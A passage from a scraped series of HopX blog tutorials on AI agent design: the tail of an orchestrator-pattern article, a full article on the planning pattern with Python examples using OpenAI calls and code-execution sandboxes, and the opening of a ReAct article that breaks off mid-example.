# Usage orchestrator = Orchestrator({ "data_analyst": create_data_analyst(), "writer": create_writer(), "coder": create_coder() }) result = orchestrator.run( "Analyze our Q4 sales data, identify the top 3 trends, " "create visualizations, and write an executive summary." ) print(result) ``` ## Orchestration Patterns ### Pattern 1: Sequential Pipeline Tasks flow in a fixed order: ``` Input → Agent A → Agent B → Agent C → Output ``` ```python class PipelineOrchestrator: def __init__(self, stages: list[Agent]): self.stages = stages def run(self, input_data: str) -> str: current = input_data for stage in self.stages: print(f"Running stage: {stage.name}") current = stage.execute(current, {}) return current # Usage pipeline = PipelineOrchestrator([ extract_agent, # Extract key information transform_agent, # Transform data analyze_agent, # Analyze patterns report_agent # Generate report ]) result = pipeline.run(raw_document) ``` ### Pattern 2: Router/Dispatcher Route tasks to specialized agents based on content: ```python class RouterOrchestrator: def __init__(self, agents: dict[str, Agent]): self.client = openai.OpenAI() self.agents = agents def run(self, task: str) -> str: # Classify the task agent_name = self._route(task) # Execute with selected agent agent = self.agents[agent_name] return agent.execute(task, {}) def _route(self, task: str) -> str: agent_options = "\n".join([ f"- {name}: {agent.description}" for name, agent in self.agents.items() ]) response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "user", "content": f"""Which agent should handle this task? Task: {task} Agents: {agent_options} Reply with just the agent name.""" }] ) return response.choices[0].message.content.strip() # Usage router = RouterOrchestrator({ "code": code_agent, "writing": writing_agent, "research": research_agent, "math": math_agent }) # Automatically routes to appropriate agent result = router.run("Write a function to calculate compound interest") ``` ### Pattern 3: Hierarchical Orchestration Orchestrators managing other orchestrators: ``` ┌─────────────────┐ │ Master │ │ Orchestrator │ └────────┬────────┘ │ ┌─────────────────┼─────────────────┐ ▼ ▼ ▼ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ Research │ │ Development │ │ QA │ │ Orchestrator│ │ Orchestrator│ │ Orchestrator│ └──────┬──────┘ └──────┬──────┘ └──────┬──────┘ │ │ │ ┌───┼───┐ ┌───┼───┐ ┌───┼───┐ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ A1 A2 A3 A4 A5 A6 A7 A8 A9 ``` ```python class HierarchicalOrchestrator: def __init__(self, sub_orchestrators: dict[str, Orchestrator]): self.client = openai.OpenAI() self.sub_orchestrators = sub_orchestrators def run(self, goal: str) -> dict: # Decompose into high-level phases phases = self._plan_phases(goal) results = {} for phase in phases: sub_orch = self.sub_orchestrators[phase["orchestrator"]] result = sub_orch.run(phase["goal"]) results[phase["name"]] = result return self._synthesize(goal, results) def _plan_phases(self, goal: str) -> list[dict]: orchestrator_list = ", ".join(self.sub_orchestrators.keys()) response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "user", "content": f"""Break this goal into phases. Goal: {goal} Available orchestrators: {orchestrator_list} Return JSON: {{"phases": [{{"name": "phase_1", "orchestrator": "name", "goal": "sub-goal"}}]}}""" }], response_format={"type": "json_object"} ) return json.loads(response.choices[0].message.content)["phases"] ``` ### Pattern 4: Dynamic Agent Creation Create agents on-the-fly based on task requirements: ```python class DynamicOrchestrator: def __init__(self): self.client = openai.OpenAI() self.agent_cache = {} def run(self, goal: str) -> str: # Determine what agents we need agent_specs = self._design_agents(goal) # Create or retrieve agents agents = {} for spec in agent_specs: agent = self._get_or_create_agent(spec) agents[spec["name"]] = agent # Create orchestrator with these agents orchestrator = Orchestrator(agents) return orchestrator.run(goal) def _design_agents(self, goal: str) -> list[dict]: response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "user", "content": f"""Design specialized agents for this goal. Goal: {goal} Return JSON: {{ "agents": [ {{ "name": "agent_name", "role": "expert role description", "capabilities": ["capability1", "capability2"], "system_prompt": "You are..." }} ] }}""" }], response_format={"type": "json_object"} ) return json.loads(response.choices[0].message.content)["agents"] def _get_or_create_agent(self, spec: dict) -> Agent: cache_key = spec["name"] if cache_key in self.agent_cache: return self.agent_cache[cache_key] def create_execute(system_prompt): def execute(task: str, context: dict) -> str: response = self.client.chat.completions.create( model="gpt-4o", messages=[ {"role": "system", "content": system_prompt}, {"role": "user", "content": f"Task: {task}\nContext: {context}"} ] ) return response.choices[0].message.content return execute agent = Agent( name=spec["name"], description=spec["role"], execute=create_execute(spec["system_prompt"]) ) self.agent_cache[cache_key] = agent return agent ``` ## Error Handling and Recovery ### Retry with Backoff ```python class ResilientOrchestrator(Orchestrator): def __init__(self, agents, max_retries=3): super().__init__(agents) self.max_retries = max_retries def _execute_task(self, task: Task) -> str: last_error = None for attempt in range(self.max_retries): try: return super()._execute_task(task) except Exception as e: last_error = e wait_time = 2 ** attempt # Exponential backoff print(f"Task {task.id} failed, retrying in {wait_time}s...") time.sleep(wait_time) raise last_error ``` ### Fallback Agents ```python class FallbackOrchestrator(Orchestrator): def __init__(self, agents, fallback_agents): super().__init__(agents) self.fallback_agents = fallback_agents def _execute_task(self, task: Task) -> str: try: return super()._execute_task(task) except Exception as primary_error: # Try fallback agent fallback = self.fallback_agents.get(task.agent_type) if fallback: print(f"Primary agent failed, using fallback for {task.id}") return fallback.execute(task.description, self._get_context(task)) raise primary_error ``` ### Partial Results ```python class GracefulOrchestrator(Orchestrator): def run(self, goal: str) -> dict: result = super().run(goal) if not result["success"]: # Return what we could complete completed_results = { t.id: t.result for t in self.tasks.values() if t.status == TaskStatus.COMPLETED } return { "success": False, "partial_result": self._synthesize_partial(goal, completed_results), "completed_tasks": list(completed_results.keys()), "failed_tasks": [t.id for t in self.tasks.values() if t.status == TaskStatus.FAILED], "note": "Some tasks failed. Partial results provided." } return result ``` ## Production Orchestrator A complete production-ready orchestrator with monitoring: ```python from hopx import Sandbox import openai import json from datetime import datetime from dataclasses import dataclass, field import asyncio from typing import Optional import logging logging.basicConfig(level=logging.INFO) logger = logging.getLogger("orchestrator") @dataclass class ExecutionMetrics: start_time: datetime end_time: Optional[datetime] = None tasks_total: int = 0 tasks_completed: int = 0 tasks_failed: int = 0 total_tokens: int = 0 @property def duration_seconds(self) -> float: if self.end_time: return (self.end_time - self.start_time).total_seconds() return 0 class ProductionOrchestrator: def __init__( self, agents: dict, max_parallel: int = 5, task_timeout: int = 300, enable_monitoring: bool = True ): self.client = openai.OpenAI() self.agents = agents self.max_parallel = max_parallel self.task_timeout = task_timeout self.enable_monitoring = enable_monitoring self.metrics = None async def run(self, goal: str, metadata: dict = None) -> dict: """Execute orchestrated workflow""" self.metrics = ExecutionMetrics(start_time=datetime.now()) logger.info(f"Starting orchestration: {goal[:100]}...") try: # Decompose tasks = await self._decompose(goal) self.metrics.tasks_total = len(tasks) logger.info(f"Decomposed into {len(tasks)} tasks") # Execute results = await self._execute_all(tasks) # Synthesize final = await self._synthesize(goal, results) self.metrics.end_time = datetime.now() return { "success": True, "result": final, "metrics": self._get_metrics_dict(), "trace": self._get_execution_trace(tasks) } except Exception as e: logger.error(f"Orchestration failed: {e}") self.metrics.end_time = datetime.now() return { "success": False, "error": str(e), "metrics": self._get_metrics_dict() } async def _execute_all(self, tasks: list) -> dict: """Execute all tasks respecting dependencies""" task_map = {t["id"]: t for t in tasks} results = {} completed = set() while len(completed) < len(tasks): # Find ready tasks ready = [ t for t in tasks if t["id"] not in completed and all(dep in completed for dep in t.get("dependencies", [])) ] if not ready: pending = [t["id"] for t in tasks if t["id"] not in completed] raise RuntimeError(f"Deadlock detected. Pending: {pending}") # Execute batch in parallel batch_results = await asyncio.gather(*[ self._execute_single(t, results) for t in ready[:self.max_parallel] ], return_exceptions=True) # Process results for task, result in zip(ready[:self.max_parallel], batch_results): if isinstance(result, Exception): self.metrics.tasks_failed += 1 logger.error(f"Task {task['id']} failed: {result}") raise result results[task["id"]] = result completed.add(task["id"]) self.metrics.tasks_completed += 1 logger.info(f"Completed: {task['id']}") return results async def _execute_single(self, task: dict, context: dict) -> str: """Execute single task with timeout""" agent = self.agents.get(task["agent"]) if not agent: raise ValueError(f"Unknown agent: {task['agent']}") # Build context from dependencies dep_context = { dep: context[dep] for dep in task.get("dependencies", []) if dep in context } try: result = await asyncio.wait_for( asyncio.to_thread(agent.execute, task["description"], dep_context), timeout=self.task_timeout ) return result except asyncio.TimeoutError: raise TimeoutError(f"Task {task['id']} timed out after {self.task_timeout}s") def _get_metrics_dict(self) -> dict: return { "duration_seconds": self.metrics.duration_seconds, "tasks_total": self.metrics.tasks_total, "tasks_completed": self.metrics.tasks_completed, "tasks_failed": self.metrics.tasks_failed, "success_rate": self.metrics.tasks_completed / max(self.metrics.tasks_total, 1) } def _get_execution_trace(self, tasks: list) -> list: return [ { "id": t["id"], "agent": t["agent"], "description": t["description"][:100], "dependencies": t.get("dependencies", []) } for t in tasks ] # Usage async def main(): orchestrator = ProductionOrchestrator( agents={ "researcher": research_agent, "analyst": analyst_agent, "writer": writer_agent, "coder": coder_agent }, max_parallel=3, task_timeout=120 ) result = await orchestrator.run( "Research the latest AI agent frameworks, analyze their features, " "create a comparison table, and write a recommendation report." ) print(f"Success: {result['success']}") print(f"Duration: {result['metrics']['duration_seconds']:.1f}s") print(f"Tasks: {result['metrics']['tasks_completed']}/{result['metrics']['tasks_total']}") if result['success']: print(f"\nResult:\n{result['result']}") # asyncio.run(main()) ``` ## Best Practices ### 1. Keep Orchestrator Logic Simple ```python # ❌ Orchestrator doing too much class BadOrchestrator: def run(self, goal): # Orchestrator shouldn't contain domain logic if "sales" in goal: return self._analyze_sales() elif "marketing" in goal: return self._analyze_marketing() # ✅ Orchestrator focuses on coordination class GoodOrchestrator: def run(self, goal): tasks = self._decompose(goal) # What to do agents = self._select_agents(tasks) # Who does it results = self._execute(tasks, agents) # Coordination return self._synthesize(results) # Combine results ``` ### 2. Design Clear Agent Interfaces ```python # All agents should follow the same interface class AgentInterface: def execute(self, task: str, context: dict) -> str: """ Args: task: What to do context: Results from dependency tasks Returns: Result as string (or structured data as JSON string) """ raise NotImplementedError ``` ### 3. Monitor Everything ```python def _execute_task(self, task): start = time.time() try: result = self.agents[task.agent].execute(task.description, context) self.metrics.record({ "task_id": task.id, "agent": task.agent, "duration": time.time() - start, "success": True, "result_size": len(result) }) return result except Exception as e: self.metrics.record({ "task_id": task.id, "agent": task.agent, "duration": time.time() - start, "success": False, "error": str(e) }) raise ``` ### 4. Enable Graceful Degradation ```python def run(self, goal: str) -> dict: try: return self._full_execution(goal) except Exception as e: logger.warning(f"Full execution failed: {e}") # Try simpler approach try: return self._simplified_execution(goal) except: # Last resort: single agent return self._single_agent_fallback(goal) ``` ## Conclusion The Orchestrator Pattern is how you scale AI agents to enterprise complexity: - **Task decomposition** breaks big problems into manageable pieces - **Agent specialization** ensures each task is handled by an expert - **Parallel execution** maximizes throughput - **Dependency management** ensures correct ordering - **Fault tolerance** keeps systems running despite failures Start with a simple pipeline orchestrator. Add routing when you have diverse task types. Move to hierarchical orchestration for truly complex workflows. The system that orchestrates specialists outperforms the generalist. Every time. --- Ready to orchestrate agents with secure code execution? [Get started with HopX](https://console.hopx.ai) — sandboxes that give each agent isolated environments. ## Further Reading - [What Is an AI Agent?](/blog/ai-agents/what-is-an-ai-agent) — Agent fundamentals - [Multi-Agent Architectures](/blog/deep-dives/multi-agent-architectures-with-hopx) — Patterns for agent coordination - [The Planning Pattern](/blog/ai-agents/planning-pattern-ai-agents) — Task decomposition strategies - [Tool Use Pattern](/blog/ai-agents/tool-use-pattern-ai-agents) — Agent capabilities - [Human-in-the-Loop](/blog/ai-agents/human-in-the-loop-ai-agents) — Orchestration with human oversight --- ## The Planning Pattern: How AI Agents Break Down Complex Goals URL: https://hopx.ai/blog/ai-agents/planning-pattern-ai-agents/ Category: AI Agents Published: 2025-11-27 # The Planning Pattern: How AI Agents Break Down Complex Goals Ask a junior developer to "build a user authentication system" and they'll start coding immediately. Ask a senior developer the same thing, and they'll first ask questions, sketch out an architecture, identify dependencies, and create a plan. AI agents work the same way. **Planning is what separates agents that flail from agents that succeed.** This guide shows you how to implement planning in your AI agents—from simple linear plans to adaptive, hierarchical planning systems. ## What Is the Planning Pattern? Planning is the process of decomposing a high-level goal into a sequence of actionable steps before execution begins: ``` ┌─────────────────────────────────────────────────────────────┐ │ "Build me a dashboard" │ └─────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────┐ │ PLANNING │ │ │ │ 1. Gather requirements │ │ 2. Design data schema │ │ 3. Create API endpoints │ │ 4. Build frontend components │ │ 5. Integrate and test │ │ 6. Deploy │ │ │ └─────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────┐ │ EXECUTION │ │ │ │ Step 1 → Step 2 → Step 3 → ... → Done │ │ │ └─────────────────────────────────────────────────────────────┘ ``` Without planning: - Agent jumps straight into action - Often gets stuck or goes in circles - Misses critical steps - Can't estimate effort or progress With planning: - Agent understands the full scope - Executes steps in logical order - Tracks progress toward goal - Can adapt when obstacles arise ## Why Planning Matters ### 1. Complex Tasks Require Decomposition LLMs have limited context windows and attention spans. A single prompt for a complex task often fails because the model can't hold all requirements simultaneously. Planning breaks the problem into chunks the model can handle: ```python # ❌ Single complex prompt - often fails "Create a complete e-commerce site with user auth, product catalog, shopping cart, checkout, payment integration, and admin panel" # ✅ Planned approach - each step is manageable plan = [ "Set up project structure and database", "Implement user authentication", "Create product catalog with CRUD", "Build shopping cart functionality", "Add checkout flow", "Integrate payment provider", "Build admin dashboard" ] ``` ### 2. Dependencies and Order Matter Some tasks depend on others. Planning identifies these dependencies: ``` ┌──────────────────┐ │ Create database │ └────────┬─────────┘ │ ┌────┴────┐ ▼ ▼ ┌───────┐ ┌───────┐ │ Auth │ │Product│ │ API │ │ API │ └───┬───┘ └───┬───┘ │ │ └────┬────┘ ▼ ┌─────────┐ │ Cart │ │ API │ └────┬────┘ │ ▼ ┌─────────┐ │Checkout │ └─────────┘ ``` ### 3. Progress Tracking and Recovery With a plan, you can: - Show progress ("Step 3 of 7 complete") - Resume after failures - Skip completed steps - Estimate remaining time ## Basic Planning Implementation Here's a minimal but complete planning agent: ```python import openai import json from dataclasses import dataclass @dataclass class PlanStep: id: str description: str dependencies: list[str] status: str = "pending" # pending, in_progress, completed, failed @dataclass class Plan: goal: str steps: list[PlanStep] def get_next_step(self) -> PlanStep | None: for step in self.steps: if step.status == "pending": # Check if dependencies are met deps_met = all( self.get_step(dep).status == "completed" for dep in step.dependencies ) if deps_met: return step return None def get_step(self, step_id: str) -> PlanStep: return next(s for s in self.steps if s.id == step_id) class PlanningAgent: def __init__(self): self.client = openai.OpenAI() def run(self, goal: str) -> str: # Phase 1: Create plan plan = self._create_plan(goal) print(f"Created plan with {len(plan.steps)} steps") # Phase 2: Execute plan results = {} while True: step = plan.get_next_step() if not step: break step.status = "in_progress" print(f"Executing: {step.description}") try: result = self._execute_step(step, results) results[step.id] = result step.status = "completed" print(f"Completed: {step.id}") except Exception as e: step.status = "failed" print(f"Failed: {step.id} - {e}") # Optionally: replan or abort # Phase 3: Synthesize results return self._synthesize(goal, results) def _create_plan(self, goal: str) -> Plan: response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": """Create a plan to achieve the goal. Return JSON: { "steps": [ { "id": "step_1", "description": "What to do", "dependencies": [] }, { "id": "step_2", "description": "What to do next", "dependencies": ["step_1"] } ] } Rules: - Break into 3-10 concrete steps - Each step should be independently executable - List dependencies (steps that must complete first) - Order from first to last""" }, { "role": "user", "content": f"Goal: {goal}" }], response_format={"type": "json_object"} ) data = json.loads(response.choices[0].message.content) steps = [ PlanStep( id=s["id"], description=s["description"], dependencies=s.get("dependencies", []) ) for s in data["steps"] ] return Plan(goal=goal, steps=steps) def _execute_step(self, step: PlanStep, context: dict) -> str: response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": "Execute the step and return the result." }, { "role": "user", "content": f"Step: {step.description}\n\nContext from previous steps:\n{json.dumps(context, indent=2)}" }] ) return response.choices[0].message.content def _synthesize(self, goal: str, results: dict) -> str: response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": "Synthesize the results into a final answer." }, { "role": "user", "content": f"Goal: {goal}\n\nResults:\n{json.dumps(results, indent=2)}" }] ) return response.choices[0].message.content # Usage agent = PlanningAgent() result = agent.run("Research the top 3 Python web frameworks and create a comparison table") print(result) ``` ## Planning Patterns ### Pattern 1: Linear Planning Simple sequence of steps without branching: ``` Step 1 → Step 2 → Step 3 → Step 4 → Done ``` ```python def linear_plan(goal: str) -> list[str]: response = client.chat.completions.create( model="gpt-4o", messages=[{ "role": "user", "content": f"Break this into sequential steps:\n{goal}" }] ) # Parse steps steps = parse_numbered_list(response.choices[0].message.content) return steps def execute_linear_plan(steps: list[str]) -> list[str]: results = [] for step in steps: result = execute_step(step, results) results.append(result) return results ``` **Best for**: Simple, well-understood tasks with clear sequences. ### Pattern 2: DAG Planning (Dependency Graph) Steps with explicit dependencies, allowing parallel execution: ``` ┌─────────┐ │ Step 1 │ └────┬────┘ │ ┌───────┴───────┐ ▼ ▼ ┌─────────┐ ┌─────────┐ │ Step 2a │ │ Step 2b │ ← Can run in parallel └────┬────┘ └────┬────┘ │ │ └───────┬───────┘ ▼ ┌─────────┐ │ Step 3 │ └─────────┘ ``` ```python from concurrent.futures import ThreadPoolExecutor, as_completed def execute_dag_plan(plan: Plan) -> dict: results = {} completed = set() with ThreadPoolExecutor(max_workers=4) as executor: while len(completed) < len(plan.steps): # Find all steps that can run now ready = [ step for step in plan.steps if step.id not in completed and all(dep in completed for dep in step.dependencies) ] if not ready: break # No progress possible # Submit all ready steps futures = { executor.submit(execute_step, step, results): step for step in ready } # Collect results for future in as_completed(futures): step = futures[future] results[step.id] = future.result() completed.add(step.id) return results ``` **Best for**: Complex tasks with independent subtasks that can parallelize. ### Pattern 3: Hierarchical Planning High-level plan decomposes into sub-plans: ``` Goal: "Create a blog platform" │ ├── Sub-goal: "Set up backend" │ ├── Step: Create database schema │ ├── Step: Implement user auth │ └── Step: Build post API │ ├── Sub-goal: "Build frontend" │ ├── Step: Create layout components │ ├── Step: Build post editor │ └── Step: Add routing │ └── Sub-goal: "Deploy" ├── Step: Configure hosting └── Step: Set up CI/CD ``` ```python class HierarchicalPlanner: def __init__(self, max_depth: int = 3): self.client = openai.OpenAI() self.max_depth = max_depth def plan(self, goal: str, depth: int = 0) -> dict: if depth >= self.max_depth: return {"goal": goal, "type": "leaf", "steps": []} # Get high-level breakdown subgoals = self._decompose(goal) if len(subgoals) == 1 and subgoals[0] == goal: # Can't decompose further return {"goal": goal, "type": "leaf", "steps": []} # Recursively plan each subgoal children = [] for subgoal in subgoals: child_plan = self.plan(subgoal, depth + 1) children.append(child_plan) return { "goal": goal, "type": "branch", "children": children } def _decompose(self, goal: str) -> list[str]: response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": """Break the goal into 2-5 major subgoals. If the goal is already atomic (can't be broken down), return just the goal. Return as JSON: {"subgoals": ["...", "..."]}""" }, { "role": "user", "content": goal }], response_format={"type": "json_object"} ) data = json.loads(response.choices[0].message.content) return data["subgoals"] def execute(self, plan: dict) -> dict: if plan["type"] == "leaf": return {"goal": plan["goal"], "result": self._execute_leaf(plan["goal"])} results = [] for child in plan["children"]: result = self.execute(child) results.append(result) return { "goal": plan["goal"], "children_results": results } ``` **Best for**: Very complex, multi-faceted goals that benefit from divide-and-conquer. ### Pattern 4: Adaptive Planning Plan adjusts based on execution results: ``` ┌─────────────────────────────────────────────────────────────┐ │ PLAN │ │ Step 1 → Step 2 → Step 3 → Step 4 │ └─────────────────────────────────────────────────────────────┘ │ ▼ Execute Step 2 │ ▼ Step 2 fails! │ ┌─────────────────────────────────────────────────────────────┐ │ REPLAN │ │ Step 1 ✓ → Step 2b → Step 2c → Step 3 → Step 4 │ │ (alternative approach) │ └─────────────────────────────────────────────────────────────┘ ``` ```python class AdaptivePlanner: def __init__(self): self.client = openai.OpenAI() self.max_replans = 3 def run(self, goal: str) -> str: plan = self._create_plan(goal) completed_steps = [] replan_count = 0 while plan.get_next_step(): step = plan.get_next_step() try: result = self._execute_step(step, completed_steps) completed_steps.append({ "step": step.description, "result": result, "status": "success" }) step.status = "completed" except Exception as e: completed_steps.append({ "step": step.description, "error": str(e), "status": "failed" }) if replan_count >= self.max_replans: raise Exception("Max replans exceeded") # Replan from current state plan = self._replan(goal, completed_steps, str(e)) replan_count += 1 print(f"Replanned (attempt {replan_count})") return self._synthesize(goal, completed_steps) def _replan(self, goal: str, completed: list, error: str) -> Plan: response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": """Create a revised plan given what's been done and what failed. Return JSON with remaining steps only.""" }, { "role": "user", "content": f"""Goal: {goal} Completed steps: {json.dumps(completed, indent=2)} Last error: {error} Create a new plan to complete the goal, working around the failure.""" }], response_format={"type": "json_object"} ) # Parse and return new plan data = json.loads(response.choices[0].message.content) return self._parse_plan(data) ``` **Best for**: Uncertain environments where steps may fail unpredictably. ## Planning with Code Execution For technical tasks, planning should include actual code execution to verify each step: ```python from hopx import Sandbox class CodePlanningAgent: def __init__(self): self.client = openai.OpenAI() self.sandbox = None def run(self, goal: str) -> str: # Create persistent sandbox for the session self.sandbox = Sandbox.create(template="code-interpreter") try: # Plan plan = self._create_plan(goal) # Execute each step with code for step in plan.steps: success = self._execute_code_step(step) if not success: # Replan or handle failure plan = self._replan_from_failure(goal, plan, step) # Get final result return self._get_final_result(goal, plan) finally: self.sandbox.kill() def _execute_code_step(self, step: PlanStep) -> bool: # Generate code for this step code = self._generate_code(step) # Execute in sandbox self.sandbox.files.write("/app/step.py", code) result = self.sandbox.commands.run("python /app/step.py") if result.exit_code == 0: step.status = "completed" step.result = result.stdout return True else: step.status = "failed" step.error = result.stderr return False def _generate_code(self, step: PlanStep) -> str: response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": """Generate Python code to accomplish this step. The code should: - Be complete and runnable - Print results to stdout - Handle errors gracefully - Save any outputs to files if needed""" }, { "role": "user", "content": f"Step: {step.description}" }] ) return self._extract_code(response.choices[0].message.content) ``` ## Real-World Example: Research Agent Here's a complete planning agent that researches a topic: ```python from hopx import Sandbox import openai import json class ResearchAgent: def __init__(self): self.client = openai.OpenAI() def research(self, topic: str) -> dict: # Phase 1: Plan the research plan = self._plan_research(topic) print(f"Research plan: {len(plan)} steps") # Phase 2: Execute research steps findings = [] for i, step in enumerate(plan): print(f"Step {i+1}/{len(plan)}: {step['action']}") if step["action"] == "search": result = self._search(step["query"]) elif step["action"] == "analyze": result = self._analyze(step["data"], step["question"]) elif step["action"] == "synthesize": result = self._synthesize(step["findings"]) else: result = {"error": f"Unknown action: {step['action']}"} findings.append({ "step": step, "result": result }) # Phase 3: Generate final report report = self._generate_report(topic, findings) return { "topic": topic, "plan": plan, "findings": findings, "report": report } def _plan_research(self, topic: str) -> list: response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": """Plan a research investigation. Return JSON: { "steps": [ {"action": "search", "query": "search terms"}, {"action": "analyze", "data": "what to analyze", "question": "what to find"}, {"action": "synthesize", "findings": ["finding1", "finding2"]} ] } Available actions: - search: Search for information - analyze: Analyze data to answer a question - synthesize: Combine findings into insights""" }, { "role": "user", "content": f"Research topic: {topic}" }], response_format={"type": "json_object"} ) return json.loads(response.choices[0].message.content)["steps"] def _search(self, query: str) -> dict: # In production, use a real search API response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "user", "content": f"What do you know about: {query}" }] ) return {"query": query, "results": response.choices[0].message.content} def _analyze(self, data: str, question: str) -> dict: sandbox = Sandbox.create(template="code-interpreter") try: # Use code to analyze analysis_code = f''' import json data = """{data}""" question = """{question}""" # Analyze the data # This would be more sophisticated in production analysis = {{ "data_summary": data[:500], "question": question, "findings": "Analysis results would go here" }} print(json.dumps(analysis)) ''' sandbox.files.write("/app/analyze.py", analysis_code) result = sandbox.commands.run("python /app/analyze.py") return json.loads(result.stdout) finally: sandbox.kill() def _synthesize(self, findings: list) -> dict: response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "user", "content": f"Synthesize these findings into key insights:\n{json.dumps(findings)}" }] ) return {"synthesis": response.choices[0].message.content} def _generate_report(self, topic: str, findings: list) -> str: response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": "Generate a well-structured research report." }, { "role": "user", "content": f"Topic: {topic}\n\nFindings:\n{json.dumps(findings, indent=2)}" }] ) return response.choices[0].message.content # Usage agent = ResearchAgent() result = agent.research("Current trends in AI agent architectures") print(result["report"]) ``` ## Best Practices ### 1. Right-Size Your Plans ```python # ❌ Too granular - overhead exceeds benefit plan = [ "Open file", "Read first line", "Parse first field", "Convert to integer", ... # 50 more steps ] # ❌ Too coarse - steps are still too complex plan = [ "Build the entire backend", "Build the entire frontend" ] # ✅ Just right - each step is meaningful but manageable plan = [ "Design database schema", "Implement user authentication", "Create REST API for products", "Build product listing page", "Add shopping cart functionality" ] ``` ### 2. Include Verification Steps ```python plan = [ {"step": "Write user registration endpoint", "type": "action"}, {"step": "Test registration with valid data", "type": "verify"}, {"step": "Test registration with invalid data", "type": "verify"}, {"step": "Write login endpoint", "type": "action"}, {"step": "Test login flow", "type": "verify"}, ] ``` ### 3. Plan for Failure ```python class RobustPlan: def __init__(self): self.steps = [] self.fallbacks = {} # step_id -> fallback_step def add_step(self, step: PlanStep, fallback: PlanStep = None): self.steps.append(step) if fallback: self.fallbacks[step.id] = fallback def get_fallback(self, failed_step_id: str) -> PlanStep | None: return self.fallbacks.get(failed_step_id) ``` ### 4. Show Progress ```python def execute_with_progress(plan: Plan, callback): total = len(plan.steps) for i, step in enumerate(plan.steps): callback({ "step": i + 1, "total": total, "percent": (i + 1) / total * 100, "description": step.description, "status": "in_progress" }) result = execute_step(step) callback({ "step": i + 1, "total": total, "percent": (i + 1) / total * 100, "description": step.description, "status": "completed", "result_preview": result[:100] }) ``` ## When NOT to Use Planning Planning adds overhead. Skip it when: | Scenario | Why Skip Planning | |----------|-------------------| | Simple, single-step tasks | "What's 2+2?" doesn't need a plan | | Real-time responses needed | Planning adds latency | | Highly unpredictable tasks | Plan will be wrong anyway | | Exploratory/creative work | Structure can limit creativity | ## Planning + Other Patterns Planning combines powerfully with other agentic patterns: ### Planning + Reflection ```python def plan_with_reflection(goal: str) -> Plan: # Generate initial plan plan = create_plan(goal) # Reflect on the plan critique = reflect_on_plan(plan) # Improve if needed if not critique.approved: plan = improve_plan(plan, critique) return plan ``` ### Planning + Tool Use ```python def execute_planned_step(step: PlanStep, tools: dict): # Determine which tools are needed required_tools = identify_tools(step) # Execute with tools for tool_name in required_tools: result = tools[tool_name].execute(step.parameters) step.add_result(tool_name, result) ``` ### Planning + Multi-Agent ```python def distributed_plan_execution(plan: Plan, agents: dict): # Assign steps to specialized agents for step in plan.steps: agent = agents[step.agent_type] agent.queue_step(step) # Execute in parallel where possible results = await gather_results(agents) return results ``` ## Conclusion Planning is the foundation of reliable AI agents: - **Decompose** complex goals into manageable steps - **Order** steps by dependencies - **Track** progress through execution - **Adapt** when things don't go as expected Start with linear planning for simple tasks. Add DAG planning when you need parallelism. Use hierarchical planning for complex, multi-faceted goals. Always build in the ability to replan. The agent that plans beats the agent that doesn't. Every time. --- Ready to build planning agents with code execution? [Get started with HopX](https://console.hopx.ai) — sandboxes that let your agents verify each step. ## Further Reading - [What Is an AI Agent?](/blog/ai-agents/what-is-an-ai-agent) — Agent fundamentals - [Prompt Chaining](/blog/ai-agents/prompt-chaining-sequential-ai-workflows) — Execute plans as chains - [Tool Use](/blog/ai-agents/tool-use-pattern-ai-agents) — Give planning agents capabilities - [The Reflection Pattern](/blog/ai-agents/reflection-pattern-self-correcting-ai) — Improve plans through self-review - [Multi-Agent Architectures](/blog/deep-dives/multi-agent-architectures-with-hopx) — Distribute plan execution --- ## ReAct Pattern: Combining Reasoning and Acting in AI Agents URL: https://hopx.ai/blog/ai-agents/react-pattern-reasoning-acting/ Category: AI Agents Published: 2025-11-27 # ReAct Pattern: Combining Reasoning and Acting in AI Agents Most AI agents fail silently. They take an action, it doesn't work, and they flounder—or worse, they confidently do the wrong thing without realizing it. **ReAct fixes this by making agents think out loud.** ReAct (Reasoning + Acting) is a pattern where agents explicitly verbalize their reasoning before each action, observe the results, and reason again. It's simple, powerful, and dramatically improves agent reliability. This guide shows you how to implement ReAct from scratch and when to use it over other patterns. ## What Is ReAct? ReAct interleaves **thinking** and **acting** in a continuous loop: ``` ┌─────────────────────────────────────────────────────────────┐ │ ReAct Loop │ ├─────────────────────────────────────────────────────────────┤ │ │ │ ┌──────────┐ ┌──────────┐ ┌───────────┐ │ │ │ THOUGHT │───▶│ ACTION │───▶│OBSERVATION│ │ │ │ │ │ │ │ │ │ │ │ "I need │ │ search( │ │ "Results: │ │ │ │ to find │ │ 'weather│ │ London │ │ │ │ the │ │ London'│ │ 15°C, │ │ │ │ weather"│ │ ) │ │ cloudy" │ │ │ └──────────┘ └──────────┘ └─────┬─────┘ │ │ ▲ │ │ │ │ │ │ │ └───────────────────────────────┘ │ │ (repeat) │ │ │ │ Until: Task complete OR max steps reached │ │ │ └─────────────────────────────────────────────────────────────┘ ``` Each iteration has three parts: 1. **Thought**: The agent reasons about what to do next 2. **Action**: The agent executes a tool or action 3. **Observation**: The agent sees the result This continues until the agent decides it has enough information to answer. ## Why ReAct Works ### 1. Explicit Reasoning Catches Errors When agents reason silently, errors compound. When they reason out loud, problems surface early: ``` # Silent agent (problematic) Action: search("Python web frameworks") Action: search("Django vs Flask") Action: write_report(...) # Report may be wrong, hard to debug # ReAct agent (transparent) Thought: I need to find popular Python web frameworks Action: search("Python web frameworks 2024") Observation: Django, Flask, FastAPI are the top 3... Thought: I should compare these frameworks. Let me focus on FastAPI since it wasn't in my training data and is newest. Action: 